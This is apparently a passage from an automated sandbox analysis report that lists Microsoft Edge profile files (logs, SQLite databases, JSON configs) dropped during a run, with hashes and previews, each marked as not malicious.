SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f1ba6315-202a-408a-94a0-9104c5ab988f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f8591744-c01d-4ab5-9248-488116bbbaf3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.257695330764171
Encrypted:	false
SSDEEP:	12:6Bdv4YebvqBZFUt8vB5/+vBoSF5LYebvqBaJ:oB4Yebvyg8JihXLYebvL
MD5:	A80602D6C7A1F60DDAF92599FE9B5C65
SHA1:	686BAB8A5D31CF0BFFB6AE1CBB5571441EC7D48C
SHA-256:	D9F3C4001014EA0516EC785742DE7770B8B45070CFFB206B10805786DC4EA1C4
SHA-512:	30F5B7273FEE97341F0291D2C479888D6C1CD74DA4F6E1F2BBC9287F17CAA7790B8B6885025605558A39835AF03A2F36A606E8470F772DD024BFCF880FBE2ACA
Malicious:	false
Preview:	2024/10/30-13:06:52.969 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-13:06:52.971 1830 Recovering log #3.2024/10/30-13:06:52.975 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.257695330764171
Encrypted:	false
SSDEEP:	12:6Bdv4YebvqBZFUt8vB5/+vBoSF5LYebvqBaJ:oB4Yebvyg8JihXLYebvL
MD5:	A80602D6C7A1F60DDAF92599FE9B5C65
SHA1:	686BAB8A5D31CF0BFFB6AE1CBB5571441EC7D48C
SHA-256:	D9F3C4001014EA0516EC785742DE7770B8B45070CFFB206B10805786DC4EA1C4
SHA-512:	30F5B7273FEE97341F0291D2C479888D6C1CD74DA4F6E1F2BBC9287F17CAA7790B8B6885025605558A39835AF03A2F36A606E8470F772DD024BFCF880FBE2ACA
Malicious:	false
Preview:	2024/10/30-13:06:52.969 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-13:06:52.971 1830 Recovering log #3.2024/10/30-13:06:52.975 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14525623827655
Encrypted:	false
SSDEEP:	6:6BtkVq2P923oH+TcwtpIFUt8vBtwOpgZmw+vBtwOpIkwO923oH+Tcwta/WLJ:6Btcv4YebmFUt8vBtW/+vBtq5LYebaUJ
MD5:	48F6CB01C35E3C74635002F2FE79652E
SHA1:	33F686D3257C32D50352B0D71C0B4B08B3343CAC
SHA-256:	DB793ABD41B6032FA14A27DF304F92E08555D2454819A0C75C5567E0B7924A39
SHA-512:	1732D214FAE9378ECA201CAACC7A88902F3BB2C35FD7DC283339668099516C3AD020FD45B66891737E73A730E0D4F7ED46C76F942B6D747A48FFF147734546CF
Malicious:	false
Preview:	2024/10/30-13:06:33.390 1dc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-13:06:33.391 1dc4 Recovering log #3.2024/10/30-13:06:33.391 1dc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14525623827655
Encrypted:	false
SSDEEP:	6:6BtkVq2P923oH+TcwtpIFUt8vBtwOpgZmw+vBtwOpIkwO923oH+Tcwta/WLJ:6Btcv4YebmFUt8vBtW/+vBtq5LYebaUJ
MD5:	48F6CB01C35E3C74635002F2FE79652E
SHA1:	33F686D3257C32D50352B0D71C0B4B08B3343CAC
SHA-256:	DB793ABD41B6032FA14A27DF304F92E08555D2454819A0C75C5567E0B7924A39
SHA-512:	1732D214FAE9378ECA201CAACC7A88902F3BB2C35FD7DC283339668099516C3AD020FD45B66891737E73A730E0D4F7ED46C76F942B6D747A48FFF147734546CF
Malicious:	false
Preview:	2024/10/30-13:06:33.390 1dc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-13:06:33.391 1dc4 Recovering log #3.2024/10/30-13:06:33.391 1dc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264913646054848
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMhSAELyKOMq+8yC8F/YfU5m+OlTLVum05:Bq+n0Jh9ELyKOMq+8y9/Ow7
MD5:	4BC9749B7B64B4695E6771413CC75F81
SHA1:	B86140F0AEAF4F2D2944B0C3063424FBD9150C32
SHA-256:	4C6CED2607963D6AB5DE762B1930F8E3D0B903A916E38A236A426A2E8B7A80CD
SHA-512:	1FB2C27815C5C5082701A9FA65D9D91A4EB7D00B029D0E8D32AA39433511F4BDEA2769D07352489BDB9ABF7CC0E2CBFC9B4F16C8DA26163FEF26E9CEC331C100
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46650186005483296
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0Ls:v7doKsKuKZKlZNmu46yjx04
MD5:	547FC9594F1FD9D45ED9447604740CEC
SHA1:	7195C2068D8529469A09C454BBE99F2113A89A32
SHA-256:	DDAA7D031127EE4FE6E5788EE5EDB35E1841C9DF2582894F8438C1A0F79B3D00
SHA-512:	872E78B51FEDDA5F2807DBC09BBB9FAD910174481735937F5134FB8C0751B46948802FCBE52F69AA9F8F44511D80E4D3A304500FBC27B603C7BDB412F18BC957
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b22c4e62-1557-4cd8-b28e-73f99cff5536.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566369603529913
Encrypted:	false
SSDEEP:	768:MDV7BV7pLGLpPyWP8qfGJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJVk2kfArw7pTtO:MDV7BjcpPyWP8qfGJu1jasVktfxdtO
MD5:	6FEB64F50E58B81ECB1FC7CBDC5CDC64
SHA1:	38944B1464A2AEC13F1B6F6B0C5B48E2614B63A7
SHA-256:	89B73EF31419B4D4A17C1722B3EB10947FF79DCB70B8B9541B5D518B53286EB6
SHA-512:	498F2FF8C3392A0BF4DB0A2D086745F907A493DCEBB915EEB4535FC914F5270A37F7D9763E3FE0487F7A3DFD5E785310E24E1BC85EF36E58BF967C218F242D04
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374781593228666","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374781593228666","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c9ecac74-30b3-4d7a-a0c8-c4aaccfe2924.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10558297699357445
Encrypted:	false
SSDEEP:	12:JntoSqntocpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntoSqntoIoPnnnnnnnnnnnnvHj
MD5:	E95BDC93F2B238177A2533721B9E4EFB
SHA1:	E396817C1DFE273F2FA9EB31D163CB0F091540EF
SHA-256:	B5F2107BD0B577D21A728473005B831CC20C5B149756A4C540B80BAF4540ACF7
SHA-512:	02A203C343CC49645DCDC658F7F4674EB2E9248C5B473EF3F6025C42068759A1973FD95EFFF7E60A9E3C83CCA9D0B765805DAD460F348BB25BC8B0291750CA81
Malicious:	false
Preview:	..-.............Q.......K....;...4..}..&{Y.K.r..-.............Q.......K....;...4..}..&{Y.K.r........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9293932092904171
Encrypted:	false
SSDEEP:	384:G2y8hZB81kd8OSR86L78cx98/mt8SLP82R28xHC8haG8ne8Oy8NZJ8Uysy5Gy9yz:dh41DOl6EcA/VSo2Zx7hknoNK6
MD5:	F3A590FB5A79EA95D874F98A61BF91F0
SHA1:	C2E6243EF6CC9EA5A08439F1BE416592062F5463
SHA-256:	FEF24A58F8DAFB075502AB818BF0288D3BF31F7C34B386685ADE4F871F7A5E9F
SHA-512:	7F94CCD358DAC853D718482839D6ACC01A6AF3EAF0F4C315907DF725791B9B8A3AF1772B0C4B0893B6412D3FA272CC9259AB0B601D6F41BDE066AB891F5BABD0
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5458311702478396
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuaUllkU8g:iD3lke
MD5:	D87BA95FFB7FA69BDB6F12AF84CC882B
SHA1:	50675533D00E007B02ED1D77C24CD636185A938C
SHA-256:	CC69BA939D89C6D01666B797F5FD8D3449BE15ED71CA620969809CA5D2DBB0B7
SHA-512:	70C1645112E84CE16E3C0B5B2E65F0BD9DC6774422D50E966B59FD0B038F841027C062BB0E03396E10152BBA87DAB81DD85828E558AFF68FD1F96814CA2A1809
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................^.;...............#38_h.......6.Z..W.F.....2.......2............V.e................V.e..................8.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.203711385168137
Encrypted:	false
SSDEEP:	6:6Btdr7WM+q2P923oH+TcwtfrK+IFUt8vBtdrt1Zmw+vBtdr7WMVkwO923oH+Tcwf:6BtJL+v4Yeb23FUt8vBtd/+vBtJLV5LR
MD5:	C6D66AB5ED7842DF73C51456B483C60F
SHA1:	01C2EF43AEA18A017479D59DD524AF10EAAEAA36
SHA-256:	5261EA5091EF0AF5CC2DAE7C4489B5FAD7351758A5C14D3EE35BE42D2E488863
SHA-512:	56C7C959931C5038B4DB7A4F091DCD38AE38A01C34F5CF092DDEF4DF45E12A6D3543FC68B00218B15D20295D64D7AE3D8756A63F2EB468F212C89475E042DD56
Malicious:	false
Preview:	2024/10/30-13:06:33.878 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-13:06:33.878 161c Recovering log #3.2024/10/30-13:06:33.878 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.203711385168137
Encrypted:	false
SSDEEP:	6:6Btdr7WM+q2P923oH+TcwtfrK+IFUt8vBtdrt1Zmw+vBtdr7WMVkwO923oH+Tcwf:6BtJL+v4Yeb23FUt8vBtd/+vBtJLV5LR
MD5:	C6D66AB5ED7842DF73C51456B483C60F
SHA1:	01C2EF43AEA18A017479D59DD524AF10EAAEAA36
SHA-256:	5261EA5091EF0AF5CC2DAE7C4489B5FAD7351758A5C14D3EE35BE42D2E488863
SHA-512:	56C7C959931C5038B4DB7A4F091DCD38AE38A01C34F5CF092DDEF4DF45E12A6D3543FC68B00218B15D20295D64D7AE3D8756A63F2EB468F212C89475E042DD56
Malicious:	false
Preview:	2024/10/30-13:06:33.878 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-13:06:33.878 161c Recovering log #3.2024/10/30-13:06:33.878 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.18446532750377
Encrypted:	false
SSDEEP:	6:6BtdTtnWM+q2P923oH+TcwtfrzAdIFUt8vBtdxz1Zmw+vBtdxlWMVkwO923oH+TC:6BtRtL+v4Yeb9FUt8vBt1/+vBtxLV5La
MD5:	89FEA5D724CB885CDB06CBBA0EAA5EBE
SHA1:	1ED66AC6A6648A33EBB8858466FD74E2E2AE7EE5
SHA-256:	FC9C348D7959DD440127D565846AE68571EAF0FD9DD3BD66C8330A64CA7A4B32
SHA-512:	FA852AE40CF898A9F0E27DF59B03DD53347A3F0706366C91BBDD161A889410FE46CAF9B05EEC73F76927D8C9F32C3F9B934B8087969D2DAAEDCC0DF2E34B6FA7
Malicious:	false
Preview:	2024/10/30-13:06:33.869 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-13:06:33.870 161c Recovering log #3.2024/10/30-13:06:33.870 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.18446532750377
Encrypted:	false
SSDEEP:	6:6BtdTtnWM+q2P923oH+TcwtfrzAdIFUt8vBtdxz1Zmw+vBtdxlWMVkwO923oH+TC:6BtRtL+v4Yeb9FUt8vBt1/+vBtxLV5La
MD5:	89FEA5D724CB885CDB06CBBA0EAA5EBE
SHA1:	1ED66AC6A6648A33EBB8858466FD74E2E2AE7EE5
SHA-256:	FC9C348D7959DD440127D565846AE68571EAF0FD9DD3BD66C8330A64CA7A4B32
SHA-512:	FA852AE40CF898A9F0E27DF59B03DD53347A3F0706366C91BBDD161A889410FE46CAF9B05EEC73F76927D8C9F32C3F9B934B8087969D2DAAEDCC0DF2E34B6FA7
Malicious:	false
Preview:	2024/10/30-13:06:33.869 161c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-13:06:33.870 161c Recovering log #3.2024/10/30-13:06:33.870 161c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
